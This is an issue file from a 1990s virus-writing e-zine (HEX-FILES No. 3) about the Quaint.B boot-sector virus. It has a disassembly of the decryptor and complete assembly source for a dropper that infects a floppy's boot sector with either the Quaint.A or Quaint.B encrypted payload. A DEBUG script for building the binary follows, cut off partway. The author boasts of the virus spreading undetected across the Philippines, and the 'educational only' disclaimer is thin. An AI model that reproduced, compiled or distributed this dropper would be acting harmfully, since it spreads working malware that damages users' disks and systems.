Copy Link
Add to Bookmark
Report
Hexfiles Issue 3 File 004
HEX-FILES No. 3 File 004
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
Virus Name: Quaint.B
Author : Unknown
Origin : probably Metropolitan Manila area
Here's a copy of Quaint.B virus. If you would look at it, it looks
like it is a new virus. But when decrypted, it's really the same as
the first variant, Quaint.A. Nothing had been changed other than the
decryption instructions.
I would not reprint here the encrypted codes nor talk about Quaint.
You would find information on Quaint in HEX-FILES No. 2. Instead, you
would find here the disassembly of the decryption instructions and
the modified Quaint dropper.
One final word on Quaint, it is already in almost all urban areas of
the Philippines. After the close of the semester, I went on an island
hopping spree in the south of the country. Quaint was happily doing
its thing there and users does not have an idea on what's happening.
They are still waiting for McAfee and what a surprise they would have
when McAfee starts acknowledging the presence of this virus. I got my
copy of Quaint.B there.
Decryption Instructions of Quaint.B Virus
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
7c00 jmp 7c40
... reserved for diskette bpb
7c40 push dx
7c41 mov ax,250c
7c44 mov dx,f9fb
7c47 mul dx
7c49 mov cl,6
7c4b ror ax,cl
7c4d mov cl,6
7c4f rol ax,cl
7c51 xchg bx,ax
7c52 mov si,cs:[bx+7dba]
7c57 sub si,5286
7c5b xor si,166e
7c5f sub si,5599
7c63 mov cs:[bx+7dba],si
7c68 mov di,bx
7c6a mov si,di
7c6c ror si,1
7c6e rol si,1
7c70 mov di,si
7c72 mov si,di
7c74 ror si,1
7c76 rol si,1
7c78 mov bx,si
7c7a inc bx
7c7b inc bx
7c7c jnz 7c52
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ encrypted starting here
7c7e pop dx
7c7f call 7c82
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ start of main virus code. See HEX-FILES No. 2
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ for the rest of the main virus code.
0000 pop si
.
.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄ Corrections on the disassembly of Quaint.A ÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
It was mentioned last issue that after the following instructions,
7c73 add bx,ac26
7c77 mov bp,bx
7c79 jnz 7c4a
the main virus code immediately follows. I inadvertently omitted
three instructions, one of which is encrypted.
It should have been:
.
.
7c73 add bx,ac26
7c77 mov bp,bx
7c79 jnz 7c4a
7c7b mov ax,3209 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄ this was omitted
7c7e xor ax,di ;ÄÄÄÄÄÄÄÄÄÄÄÄÄ ...and also this
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ encrypted starting here
7c80 call 7c83 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄ this is the last one
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ start of main virus code
0000 pop si
.
.
I hope this makes up for that slip.
-=<PsK>=-
ÄÄ QUAINT2.ASM STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ You can use any assembler to compile this
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ program. If you're too lazy to do the
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ compiling yourself, a debug script is found
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ after this program listing. If you do not
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ know how to create a program from a debug
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ script, see compiling instruction file.
Quaint segment 'code'
assume cs:Quaint, ds:Quaint
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Structure of disk's BPB
bpb struc
JmpShort dw ?
nope db ?
oem db 8 dup (?)
BytePerSector dw ?
SectorPerClust db ?
ReservedSector dw ?
NumberOfFats db ?
MaxRotDirEntry dw ?
TotalNumSector dw ?
MediaDescByte db ?
SectorPerFat dw ?
SectorPerTrack dw ?
NumberSides dw ?
HiddenSector dd ?
TotalSectors dd ?
DriveNumber db ?
dontknow db ?
SigByteExtend db ?
SerialNumber dd ?
VolumeLabel db 11 dup (?)
FatType db 8 dup (?)
DbsCodeHere dw ?
QuaintCodeHere db ?
bpb ends
org 100h
Start: jmp ShowProgName
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Quaint.A
QuaintACode db 0b8h,3eh,0afh,35h,76h,65h,5,7ch,34h,95h,0bfh,8bh,0,8bh
db 0cdh,0d3h,0c7h,8bh,0dfh,2eh,8bh,0beh,0bch,7dh,3,0fbh,2eh
db 89h,0beh,0bch,7dh,8bh,0f5h,8bh,0deh,81h,0ebh,24h,0ach
db 0b1h,7,0d3h,0cbh,8bh,0ebh,8bh,0ddh,0b1h,7,0d3h,0c3h,81h
db 0c3h,26h,0ach,8bh,0ebh,75h,0cfh,0b8h,9,32h,33h,0c7h,38h
db 0f8h,40h,3bh,33h,35h,8ch,0ach,0f7h,5eh,0f1h,43h,0,2eh
db 0e7h,1,1,0feh,13h,0c3h,8eh,3ah,31h,0d3h,0b0h,0dfh,0deh
db 0c6h,0bah,4bh,5bh,6bh,9eh,0f3h,0f9h,0ffh,1,68h,0a2h,7fh
db 8dh,0fbh,9bh,6dh,75h,5,29h,0c9h,0dbh,0d6h,28h,0f7h,0,93h
db 5,8fh,0f8h,0cbh,0e4h,92h,0a7h,0e3h,0a1h,11h,38h,0ah,40h
db 4fh,0f7h,40h,0e6h,0ech,0f8h,7,0dfh,42h,60h,0dh,6,0f4h,9
db 0f9h,40h,0c8h,3,5dh,7,0d4h,0b0h,51h,0e0h,0dbh,83h,0e7h
db 98h,0feh,13h,2ah,36h,97h,2,75h,82h,0a6h,70h,77h,68h,87h
db 85h,97h,26h,0f5h,0b7h,0dh,43h,24h,0eh,7,89h,1bh,9,98h,8fh
db 44h,48h,0e8h,0d7h,0bfh,0e9h,0eeh,0b7h,0f5h,8ah,3fh,97h
db 0cbh,6fh,6ah,1fh,0cah,5dh,58h,5eh,0e0h,0e2h,0bah,0c0h
db 0d9h,2,0e9h,3,54h,0f4h,5ah,53h,47h,0f9h,0f5h,49h,1,0d3h
db 0f0h,41h,52h,7fh,5dh,0b1h,0d3h,6ah,0c6h,0fch,96h,0cbh,51h
db 25h,4eh,4ch,0feh,5fh,0c5h,0abh,74h,77h,0e8h,0b7h,10h,0ddh
db 78h,26h,0ffh,0d5h,72h,56h,30h,0c9h,0ddh,2,0e9h,51h,57h
db 0bfh,60h,53h,2fh,0,37h,0bch,85h,4fh,6ah,6ah,9ch,55h,1fh
db 31h,93h,0f6h,51h,53h,4ch,2dh,0ebh,12h,39h,40h,6ch,77h,16h
db 7,0eah,0ffh,1ah,0e0h,0b3h,0ddh,0b2h,0a2h,80h,93h,0fch
db 51h,4ch,0eah,0d5h,75h,99h,83h,0d3h,6ch,56h,0c6h,89h,74h
db 0f5h,47h,18h,0eh,5eh,41h,6ah,7fh,0b5h,0b7h,92h,0f8h,49h
db 0d1h,6eh,1ah,0c7h,0dbh,0e8h,8eh,29h,36h,1fh,0e8h,0a7h
db 0fdh,0bch,33h,4fh,36h,99h,0cfh,5dh,33h,1dh,4bh,0c2h,42h
db 0ddh,0eah,0e9h,5,44h,0f8h,3,10h,0ch,0f9h,0bfh,49h,34h
db 0ddh,6eh,52h,67h,47h,8ch,96h,14h,6ch,7ch,26h,0b4h
QuaintCodeLen equ $-QuaintACode
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Quaint.B
QuaintBCode db 52h,0b8h,0ch,25h,0bah,0fbh,0f9h,0f7h,0e2h,0b1h,6,0d3h
db 0c8h,0b1h,6,0d3h,0c0h,93h,2eh,8bh,0b7h,0bah,7dh,81h
db 0eeh,86h,52h,81h,0f6h,6eh,16h,81h,0eeh,99h,55h,2eh,89h
db 0b7h,0bah,7dh,8bh,0fbh,8bh,0f7h,0d1h,0ceh,0d1h,0c6h,8bh
db 0feh,8bh,0f7h,0d1h,0ceh,0d1h,0c6h,8bh,0deh,43h,43h,75h
db 0d4h,23h,7eh,7dh,96h,1fh,0f1h,0bdh,44h,0a5h,95h,4fh,0d1h
db 79h,49h,2fh,0d1h,79h,63h,77h,91h,96h,44h,0b6h,0f1h,7ch
db 6bh,0cch,92h,0d4h,0dfh,11h,1dh,0eeh,4,81h,6ch,5bh,93h,68h
db 3fh,0b0h,4fh,0b0h,57h,2eh,96h,77h,0fh,90h,49h,9ch,7ah,62h
db 96h,5fh,9dh,0c0h,92h,1,9dh,8,0e4h,99h,87h,48h,7eh,4bh,96h
db 0ebh,0adh,90h,7ah,65h,96h,0c5h,93h,78h,0a9h,4eh,0e4h,67h
db 6ch,7ah,96h,70h,0a2h,75h,9ch,7dh,6eh,7ah,94h,0e1h,0c4h
db 75h,5fh,7dh,61h,2bh,0b0h,0c2h,0a0h,7dh,22h,8bh,2ah,34h
db 1ch,14h,0c6h,0e5h,10h,84h,0feh,47h,0a1h,14h,0c8h,0cbh,49h
db 14h,0c3h,15h,63h,79h,91h,75h,0a2h,0bbh,4bh,84h,2eh,65h
db 1ch,93h,4bh,84h,2eh,63h,0d3h,0d3h,7ah,25h,1ch,9bh,50h
db 0b8h,12h,81h,0a1h,0e9h,9fh,0fdh,96h,53h,2fh,54h,22h,67h
db 30h,78h,21h,82h,94h,0e6h,15h,75h,72h,7ch,31h,0e7h,0b4h
db 24h,10h,0bh,3,0dh,9ah,77h,0b5h,75h,6ah,7ch,2ch,49h,55h
db 0bdh,95h,45h,63h,7ch,94h,0e6h,9ch,42h,1bh,7dh,94h,0e9h
db 11h,0f8h,5dh,4dh,2fh,6ch,4ah,44h,7eh,0d4h,95h,0ebh,0e8h
db 0bch,0fh,0b3h,0f1h,0bch,94h,7ah,2fh,51h,6eh,70h,0d5h,40h
db 0a6h,0e9h,0edh,42h,9dh,0e6h,93h,14h,7eh,18h,95h,0ebh,0e7h
db 0fah,55h,7fh,94h,6,3ch,85h,30h,59h,1fh,7ch,2fh,77h,7eh
db 12h,95h,66h,32h,63h,58h,17h,93h,0ceh,15h,3dh,6bh,0bfh
db 92h,83h,0b2h,2fh,3fh,94h,9dh,70h,0d5h,2bh,0b0h,3ah,7eh
db 2bh,95h,75h,0dah,7ch,0bh,22h,0ch,1fh,0f5h,5ch,99h,93h
db 0a0h,7dh,7ch,0e9h,9dh,0edh,92h,0a9h,0f0h,91h,1eh,0bdh
db 2fh,27h,47h,4,0d1h,0d3h,0ddh,64h,4eh,3dh,32h,31h,0deh
db 74h,74h
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Program messages
OpenStatement db 13,10,'Quaint Virus Dropper Version 2',13,10,10
db '1998 (c) Putoksa Kawayan',13,10
db 'HEX-FILES No. 3',13,10,10
db 'HEX-FILES and Putoksa Kawayan are not responsible '
db 'for actual, implied',13,10
db 'and/or imaginary damage arising directly or '
db 'indirectly from the use, misuse',13,10
db 'or non-use of this program. The person who '
db 'executes this program bears full',13,10
db 'responsibility for his/her actions.',13,10,10
db 'This program is strictly for educational '
db 'or research purposes only.',13,10,10,10
db 'This program drops the Quaint virus in the '
db 'boot sector of the diskette in',13,10
db 'drive A:. What do you want to do?',13,10,10,' '
db 'a. Drop Quaint.A variant',13,10,' '
db 'b. Drop Quaint.B variant',13,10,' '
db 'x. Exit program without dropping the virus',13,10,10
db 'Your option please: [a,b,x] ',7,'$'
UserAbort db 'User does not want a copy of Quaint.',13,10,10,'$'
ErrorRead db 'Could not access diskette.',13,10
db 'Quaint drop failed.',13,10,10,'$'
ErrorSave db 'Could not save original boot sector.',13,10
db 'Quaint drop aborted.',13,10,10,'$'
ErrorWrite db 'Could not write to boot sector.',13,10
db 'Quaint drop aborted.',13,10,10,'$'
InvalidMdb db 'Disk has unknown media descriptor byte.',13,10
db 'Quaint drop aborted.',13,10,10,'$'
FoundQuaint db 'Diskette is already infected with Qauint.'
VarFound db 'A virus.',13,10
AbortDrop db 'Quaint drop aborted.',13,10,10,'$'
Success db 'Diskette boot sector is now infected with Quaint.'
VarDropped db 'A virus.',13,10,10,'$'
KeyPress db ' ',13,10,10,'$'
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Show program ID
ShowProgName: mov dx,offset OpenStatement
mov ah,9
int 21h
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Clear keyboard buffer
ClearKey: mov ah,1
int 16h
jz GetKey
mov ah,0
int 16h
jmp ClearKey
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Get user select
GetKey: mov ah,0
int 16h
or al,20h
cmp al,'a'
je KeyOk
cmp al,'b'
je KeyOk
cmp al,'x'
jne ClearKey
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Save and determine key pressed
KeyOk: push ax
mov bx,offset KeyPress
mov [bx],al
mov dx,bx
mov ah,9
int 21h
pop ax
cmp al,'x'
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ User aborts program
jne SetVariantDrop
mov dx,offset UserAbort
mov ah,9
int 21h
mov ax,4cffh
int 21h
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Set variant to drop
SetVariantDrop: cmp al,'a'
je PrepareReadDisk
inc VarDropped
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Read disk boot sector.
PrepareReadDisk:mov bp,3
mov bx,offset ReadBuffer
mov cx,1
mov dx,0
ReadAgain: mov ax,201h
int 13h
jnc InfectCheck
mov ah,0
int 13h
dec bp
jnz ReadAgain
mov dx,offset ErrorRead
mov ah,9
int 21h
mov ax,4c02h
int 21h
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Infection check
InfectCheck: cmp word ptr [bx],3eebh
jne NotInfected
lea di,[bx].QuaintCodeHere
mov si,offset QuaintACode
mov cx,QuaintCodeLen
cld
repe cmpsb
je ShowInfected
inc VarFound
lea di,[bx].QuaintCodeHere
mov si,offset QuaintBCode
mov cx,QuaintCodeLen
repe cmpsb
jne NotInfected
ShowInfected: mov dx,offset FoundQuaint
mov ah,9
int 21h
mov ax,4c01h
int 21h
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Verify disk's media descriptor byte.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This serves as check if the disk
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ contains a valid bpb.
NotInfected: mov al,[bx].MediaDescByte ;get bpb media descriptor byte
and al,0f0h
cmp al,0f0h
je MediaByteOk
mov dx,offset InvalidMdb
mov ah,9
int 21h
mov ax,4c03h
int 21h
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This is the routine that determines the
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ location of the last sector of the root
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ directory. This is a direct lift from the
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ virus code.
MediaByteOk: mov al,[bx].NumberOfFats
cbw
mul word ptr [bx].SectorPerFat
add ax,[bx].ReservedSector
xchg dx,ax
mov ax,[bx].MaxRotDirEntry
dec ax
mov cl,4
shr ax,cl
add ax,dx
cwd
div word ptr [bx].SectorPerTrack
mov cl,dl
cwd
div word ptr [bx].NumberSides
inc cx
mov ch,al
mov dh,dl
mov dl,0
mov bp,3
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ We are going to save the original boot sector
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ first before we write to the boot sector. It
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ is possible for you to lose some entry in the
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ root directory.
SaveAgain: mov ax,301h
int 13h
jnc SaveOk
mov ah,0
int 13h
dec bp
jnz SaveAgain
mov dx,offset ErrorSave
mov ah,9
int 21h
mov ax,4c04h
int 21h
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Set up virus boot sector... and write.
SaveOk: lea di,[bx].QuaintCodeHere
mov word ptr [bx],3eebh
mov si,offset QuaintACode
cmp VarDropped,"A"
je Drop
mov si,offset QuaintBCode
Drop: mov cx,QuaintCodeLen
repe movsb
mov dx,cx
inc cx
mov bp,3
WriteAgain: mov ax,301h
int 13h
jnc DoneDrop
mov ah,0
int 13h
dec bp
jnz WriteAgain
mov dx,offset ErrorWrite
mov ah,9
int 21h
mov ax,4c05h
int 21h
DoneDrop: mov dx,offset Success
mov ah,9
int 21h
mov ax,4c00h
int 21h
ReadBuffer:
Quaint ends
end Start
ÄÄ QUAINT2.ASM ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The dropper program in this debug script was compiled in A86 4.02.
ÄÄ QUAINT2.SCR STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
N QUAINT2.COM
E 0100 E9 32 07 B8 3E AF 35 76 65 05 7C 34 95 BF 8B 00
E 0110 8B CD D3 C7 8B DF 2E 8B BE BC 7D 03 FB 2E 89 BE
E 0120 BC 7D 8B F5 8B DE 81 EB 24 AC B1 07 D3 CB 8B EB
E 0130 8B DD B1 07 D3 C3 81 C3 26 AC 8B EB 75 CF B8 09
E 0140 32 33 C7 38 F8 40 3B 33 35 8C AC F7 5E F1 43 00
E 0150 2E E7 01 01 FE 13 C3 8E 3A 31 D3 B0 DF DE C6 BA
E 0160 4B 5B 6B 9E F3 F9 FF 01 68 A2 7F 8D FB 9B 6D 75
E 0170 05 29 C9 DB D6 28 F7 00 93 05 8F F8 CB E4 92 A7
E 0180 E3 A1 11 38 0A 40 4F F7 40 E6 EC F8 07 DF 42 60
E 0190 0D 06 F4 09 F9 40 C8 03 5D 07 D4 B0 51 E0 DB 83
E 01A0 E7 98 FE 13 2A 36 97 02 75 82 A6 70 77 68 87 85
E 01B0 97 26 F5 B7 0D 43 24 0E 07 89 1B 09 98 8F 44 48
E 01C0 E8 D7 BF E9 EE B7 F5 8A 3F 97 CB 6F 6A 1F CA 5D
E 01D0 58 5E E0 E2 BA C0 D9 02 E9 03 54 F4 5A 53 47 F9
E 01E0 F5 49 01 D3 F0 41 52 7F 5D B1 D3 6A C6 FC 96 CB
E 01F0 51 25 4E 4C FE 5F C5 AB 74 77 E8 B7 10 DD 78 26
E 0200 FF D5 72 56 30 C9 DD 02 E9 51 57 BF 60 53 2F 00
E 0210 37 BC 85 4F 6A 6A 9C 55 1F 31 93 F6 51 53 4C 2D
E 0220 EB 12 39 40 6C 77 16 07 EA FF 1A E0 B3 DD B2 A2
E 0230 80 93 FC 51 4C EA D5 75 99 83 D3 6C 56 C6 89 74
E 0240 F5 47 18 0E 5E 41 6A 7F B5 B7 92 F8 49 D1 6E 1A
E 0250 C7 DB E8 8E 29 36 1F E8 A7 FD BC 33 4F 36 99 CF
E 0260 5D 33 1D 4B C2 42 DD EA E9 05 44 F8 03 10 0C F9
E 0270 BF 49 34 DD 6E 52 67 47 8C 96 14 6C 7C 26 B4 52
E 0280 B8 0C 25 BA FB F9 F7 E2 B1 06 D3 C8 B1 06 D3 C0
E 0290 93 2E 8B B7 BA 7D 81 EE 86 52 81 F6 6E 16 81 EE
E 02A0 99 55 2E 89 B7 BA 7D 8B FB 8B F7 D1 CE D1 C6 8B
E 02B0 FE 8B F7 D1 CE D1 C6 8B DE 43 43 75 D4 23 7E 7D
E 02C0 96 1F F1 BD 44 A5 95 4F D1 79 49 2F D1 79 63 77
E 02D0 91 96 44 B6 F1 7C 6B CC 92 D4 DF 11 1D EE 04 81
E 02E0 6C 5B 93 68 3F B0 4F B0 57 2E 96 77 0F 90 49 9C
E 02F0 7A 62 96 5F 9D C0 92 01 9D 08 E4 99 87 48 7E 4B
E 0300 96 EB AD 90 7A 65 96 C5 93 78 A9 4E E4 67 6C 7A
E 0310 96 70 A2 75 9C 7D 6E 7A 94 E1 C4 75 5F 7D 61 2B
E 0320 B0 C2 A0 7D 22 8B 2A 34 1C 14 C6 E5 10 84 FE 47
E 0330 A1 14 C8 CB 49 14 C3 15 63 79 91 75 A2 BB 4B 84
E 0340 2E 65 1C 93 4B 84 2E 63 D3 D3 7A 25 1C 9B 50 B8
E 0350 12 81 A1 E9 9F FD 96 53 2F 54 22 67 30 78 21 82
E 0360 94 E6 15 75 72 7C 31 E7 B4 24 10 0B 03 0D 9A 77
E 0370 B5 75 6A 7C 2C 49 55 BD 95 45 63 7C 94 E6 9C 42
E 0380 1B 7D 94 E9 11 F8 5D 4D 2F 6C 4A 44 7E D4 95 EB
E 0390 E8 BC 0F B3 F1 BC 94 7A 2F 51 6E 70 D5 40 A6 E9
E 03A0 ED 42 9D E6 93 14 7E 18 95 EB E7 FA 55 7F 94 06
E 03B0 3C 85 30 59 1F 7C 2F 77 7E 12 95 66 32 63 58 17
E 03C0 93 CE 15 3D 6B BF 92 83 B2 2F 3F 94 9D 70 D5 2B
E 03D0 B0 3A 7E 2B 95 75 DA 7C 0B 22 0C 1F F5 5C 99 93
E 03E0 A0 7D 7C E9 9D ED 92 A9 F0 91 1E BD 2F 27 47 04
E 03F0 D1 D3 DD 64 4E 3D 32 31 DE 74 74 0D 0A 51 75 61
E 0400 69 6E 74 20 56 69 72 75 73 20 44 72 6F 70 70 65
E 0410 72 20 56 65 72 73 69 6F 6E 20 32 0D 0A 0A 31 39
E 0420 39 38 20 28 63 29 20 50 75 74 6F 6B 73 61 20 4B
E 0430 61 77 61 79 61 6E 0D 0A 48 45 58 2D 46 49 4C 45
E 0440 53 20 4E 6F 2E 20 33 0D 0A 0A 48 45 58 2D 46 49
E 0450 4C 45 53 20 61 6E 64 20 50 75 74 6F 6B 73 61 20
E 0460 4B 61 77 61 79 61 6E 20 61 72 65 20 6E 6F 74 20
E 0470 72 65 73 70 6F 6E 73 69 62 6C 65 20 66 6F 72 20
E 0480 61 63 74 75 61 6C 2C 20 69 6D 70 6C 69 65 64 0D
E 0490 0A 61 6E 64 2F 6F 72 20 69 6D 61 67 69 6E 61 72
E 04A0 79 20 64 61 6D 61 67 65 20 61 72 69 73 69 6E 67
E 04B0 20 64 69 72 65 63 74 6C 79 20 6F 72 20 69 6E 64
E 04C0 69 72 65 63 74 6C 79 20 66 72 6F 6D 20 74 68 65
E 04D0 20 75 73 65 2C 20 6D 69 73 75 73 65 0D 0A 6F 72
E 04E0 20 6E 6F 6E 2D 75 73 65 20 6F 66 20 74 68 69 73
E 04F0 20 70 72 6F 67 72 61 6D 2E 20 54 68 65 20 70 65
E 0500 72 73 6F 6E 20 77 68 6F 20 65 78 65 63 75 74 65
E 0510 73 20 74 68 69 73 20 70 72 6F 67 72 61 6D 20 62
E 0520 65 61 72 73 20 66 75 6C 6C 0D 0A 72 65 73 70 6F
E 0530 6E 73 69 62 69 6C 69 74 79 20 66 6F 72 20 68 69
E 0540 73 2F 68 65 72 20 61 63 74 69 6F 6E 73 2E 0D 0A
E 0550 0A 54 68 69 73 20 70 72 6F 67 72 61 6D 20 69 73
E 0560 20 73 74 72 69 63 74 6C 79 20 66 6F 72 20 65 64
E 0570 75 63 61 74 69 6F 6E 61 6C 20 6F 72 20 72 65 73
E 0580 65 61 72 63 68 20 70 75 72 70 6F 73 65 73 20 6F
E 0590 6E 6C 79 2E 0D 0A 0A 0A 54 68 69 73 20 70 72 6F
E 05A0 67 72 61 6D 20 64 72 6F 70 73 20 74 68 65 20 51
E 05B0 75 61 69 6E 74 20 76 69 72 75 73 20 69 6E 20 74
E 05C0 68 65 20 62 6F 6F 74 20 73 65 63 74 6F 72 20 6F
E 05D0 66 20 74 68 65 20 64 69 73 6B 65 74 74 65 20 69
E 05E0 6E 0D 0A 64 72 69 76 65 20 41 3A 2E 20 57 68 61
E 05F0 74 20 64 6F 20 79 6F 75 20 77 61 6E 74 20 74 6F
E 0600 20 64 6F 3F 0D 0A 0A 20 20 20 20 20 61 2E 20 44
E 0610 72 6F 70 20 51 75 61 69 6E 74 2E 41 20 76 61 72
E 0620 69 61 6E 74 0D 0A 20 20 20 20 20 62 2E 20 44 72
E 0630 6F 70 20 51 75 61 69 6E 74 2E 42 20 76 61 72 69
E 0640 61 6E 74 0D 0A 20 20 20 20 20 78 2E 20 45 78 69
E 0650 74 20 70 72 6F 67 72 61 6D 20 77 69 74 68 6F 75
E 0660 74 20 64 72 6F 70 70 69 6E 67 20 74 68 65 20 76
E 0670 69 72 75 73 0D 0A 0A 59 6F 75 72 20 6F 70 74 69
E 0680 6F 6E 20 70 6C 65 61 73 65 3A 20 5B 61 2C 62 2C
E 0690 78 5D 20 07 24 55 73 65 72 20 64 6F 65 73 20 6E
E 06A0 6F 74 20 77 61 6E 74 20 61 20 63 6F 70 79 20 6F
E 06B0 66 20 51 75 61 69 6E 74 2E 0D 0A 0A 24 43 6F 75
E 06C0 6C 64 20 6E 6F 74 20 61 63 63 65 73 73 20 64 69
E 06D0 73 6B 65 74 74 65 2E 0D 0A 51 75 61 69 6E 74 20
E 06E0 64 72 6F 70 20 66 61 69 6C 65 64 2E 0D 0A 0A 24
E 06F0 43 6F 75 6C 64 20 6E 6F 74 20 73 61 76 65 20 6F
E 0700 72 69 67 69 6E 61 6C 20 62 6F 6F 74 20 73 65 63
E 0710 74 6F 72 2E 0D 0A 51 75 61 69 6E 74 20 64 72 6F
E 0720 70 20 61 62 6F 72 74 65 64 2E 0D 0A 0A 24 43 6F
E 0730 75 6C 64 20 6E 6F 74 20 77 72 69 74 65 20 74 6F
E 0740 20 62 6F 6F 74 20 73 65 63 74 6F 72 2E 0D 0A 51
E 0750 75 61 69 6E 74 20 64 72 6F 70 20 61 62 6F 72 74
E 0760 65 64 2E 0D 0A 0A 24 44 69 73 6B 20 68 61 73 20
E 0770 75 6E 6B 6E 6F 77 6E 20 6D 65 64 69 61 20 64 65
E 0780 73 63 72 69 70 74 6F 72 20 62 79 74 65 2E 0D 0A
E 0790 51 75 61 69 6E 74 20 64 72 6F 70 20 61 62 6F 72
E 07A0 74 65 64 2E 0D 0A 0A 24 44 69 73 6B 65 74 74 65
E 07B0 20 69 73 20 61 6C 72 65 61 64 79 20 69 6E 66 65
E 07C0 63 74 65 64 20 77 69 74 68 20 51 61 75 69 6E 74
E 07D0 2E 41 20 76 69 72 75 73 2E 0D 0A 51 75 61 69 6E
E 07E0 74 20 64 72 6F 70 20 61 62 6F 72 74 65 64 2E 0D
E 07F0 0A 0A 24 44 69 73 6B 65 74 74 65 20 62 6F 6F 74
E 0800 20 73 65 63 74 6F 72 20 69 73 20 6E 6F 77 20 69
E 0810 6E 66 65 63 74 65 64 20 77 69 74 68 20 51 75 61
E 0820 69 6E 74 2E 41 20 76 69 72 75 73 2E 0D 0A 0A 24
E 0830 20 0D 0A 0A 24 BA FB 03 B4 09 CD 21 B4 01 CD 16
E 0840 74 06 B4 00 CD 16 EB F4 B4 00 CD 16 0C 20 3C 61
